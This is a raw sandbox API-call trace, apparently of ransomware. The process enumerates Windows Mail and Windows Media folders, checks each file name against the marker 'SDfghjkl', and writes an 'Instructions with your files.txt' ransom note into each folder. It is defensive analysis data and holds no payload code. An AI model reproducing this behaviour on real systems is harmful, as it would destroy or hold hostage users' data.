[0132.210] StrStrIW (lpFirst="Green Bubbles.htm", lpSrch="SDfghjkl") returned 0x0
[0132.210] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="GREENB~1.JPG")) returned 1
[0132.210] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg") returned 85
[0132.210] StrStrIW (lpFirst="GreenBubbles.jpg", lpSrch="SDfghjkl") returned 0x0
[0132.211] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="HANDPR~1.HTM")) returned 1
[0132.211] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm") returned 84
[0132.211] StrStrIW (lpFirst="Hand Prints.htm", lpSrch="SDfghjkl") returned 0x0
[0132.211] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="HANDPR~1.JPG")) returned 1
[0132.211] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg") returned 83
[0132.211] StrStrIW (lpFirst="HandPrints.jpg", lpSrch="SDfghjkl") returned 0x0
[0132.211] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="ORANGE~1.HTM")) returned 1
[0132.211] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm") returned 87
[0132.211] StrStrIW (lpFirst="Orange Circles.htm", lpSrch="SDfghjkl") returned 0x0
[0132.211] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="ORANGE~1.JPG")) returned 1
[0132.211] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg") returned 86
[0132.211] StrStrIW (lpFirst="OrangeCircles.jpg", lpSrch="SDfghjkl") returned 0x0
[0132.211] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1
[0132.211] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm") returned 80
[0132.211] StrStrIW (lpFirst="Peacock.htm", lpSrch="SDfghjkl") returned 0x0
[0132.211] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1
[0132.211] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg") returned 80
[0132.211] StrStrIW (lpFirst="Peacock.jpg", lpSrch="SDfghjkl") returned 0x0
[0132.211] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1
[0132.211] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm") returned 78
[0132.211] StrStrIW (lpFirst="Roses.htm", lpSrch="SDfghjkl") returned 0x0
[0132.211] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1
[0132.211] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg") returned 78
[0132.211] StrStrIW (lpFirst="Roses.jpg", lpSrch="SDfghjkl") returned 0x0
[0132.211] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="SHADES~1.HTM")) returned 1
[0132.211] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm") returned 87
[0132.211] StrStrIW (lpFirst="Shades of Blue.htm", lpSrch="SDfghjkl") returned 0x0
[0132.211] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="SHADES~1.JPG")) returned 1
[0132.211] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg") returned 85
[0132.211] StrStrIW (lpFirst="ShadesOfBlue.jpg", lpSrch="SDfghjkl") returned 0x0
[0132.211] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6477260, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6477260, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="SOFTBL~1.HTM")) returned 1
[0132.211] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm") returned 82
[0132.211] StrStrIW (lpFirst="Soft Blue.htm", lpSrch="SDfghjkl") returned 0x0
[0132.212] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64e9680, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64e9680, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1
[0132.212] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg") returned 81
[0132.212] StrStrIW (lpFirst="SoftBlue.jpg", lpSrch="SDfghjkl") returned 0x0
[0132.212] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1
[0132.212] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm") returned 78
[0132.212] StrStrIW (lpFirst="Stars.htm", lpSrch="SDfghjkl") returned 0x0
[0132.212] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6477260, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6477260, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1
[0132.212] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg") returned 78
[0132.212] StrStrIW (lpFirst="Stars.jpg", lpSrch="SDfghjkl") returned 0x0
[0132.212] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6477260, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6477260, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 0
[0132.212] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Instructions with your files.txt") returned 101
[0132.212] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0132.213] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0132.213] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0132.213] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0132.214] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0132.214] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0132.214] CloseHandle (hObject=0x11c) returned 1
[0132.214] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0132.214] GetProcessHeap () returned 0x810000
[0132.214] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0132.214] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd7b05332, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x204000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMail.MSMessageStore", cAlternateFileName="WINDOW~1.MSM")) returned 1
[0132.214] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore") returned 84
[0132.214] StrStrIW (lpFirst="WindowsMail.MSMessageStore", lpSrch="SDfghjkl") returned 0x0
[0132.214] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2e234eb, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 1
[0132.214] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat") returned 73
[0132.214] StrStrIW (lpFirst="WindowsMail.pat", lpSrch="SDfghjkl") returned 0x0
[0132.214] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2e234eb, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 0
[0132.214] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Instructions with your files.txt") returned 90
[0132.214] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.214] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.216] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.216] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.216] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.216] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.216] CloseHandle (hObject=0x118) returned 1
[0132.216] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.216] GetProcessHeap () returned 0x810000
[0132.216] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.216] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media", cAlternateFileName="WINDOW~2")) returned 1
[0132.216] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media") returned 58
[0132.216] GetProcessHeap () returned 0x810000
[0132.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.216] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\*") returned 60
[0132.216] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.216] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\.") returned 60
[0132.216] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.217] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\..") returned 61
[0132.217] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="12.0", cAlternateFileName="")) returned 1
[0132.217] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0") returned 63
[0132.217] GetProcessHeap () returned 0x810000
[0132.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0132.217] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\*") returned 65
[0132.217] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0132.217] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\.") returned 65
[0132.217] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.217] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\..") returned 66
[0132.217] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMSDKNS.DTD", cAlternateFileName="")) returned 1
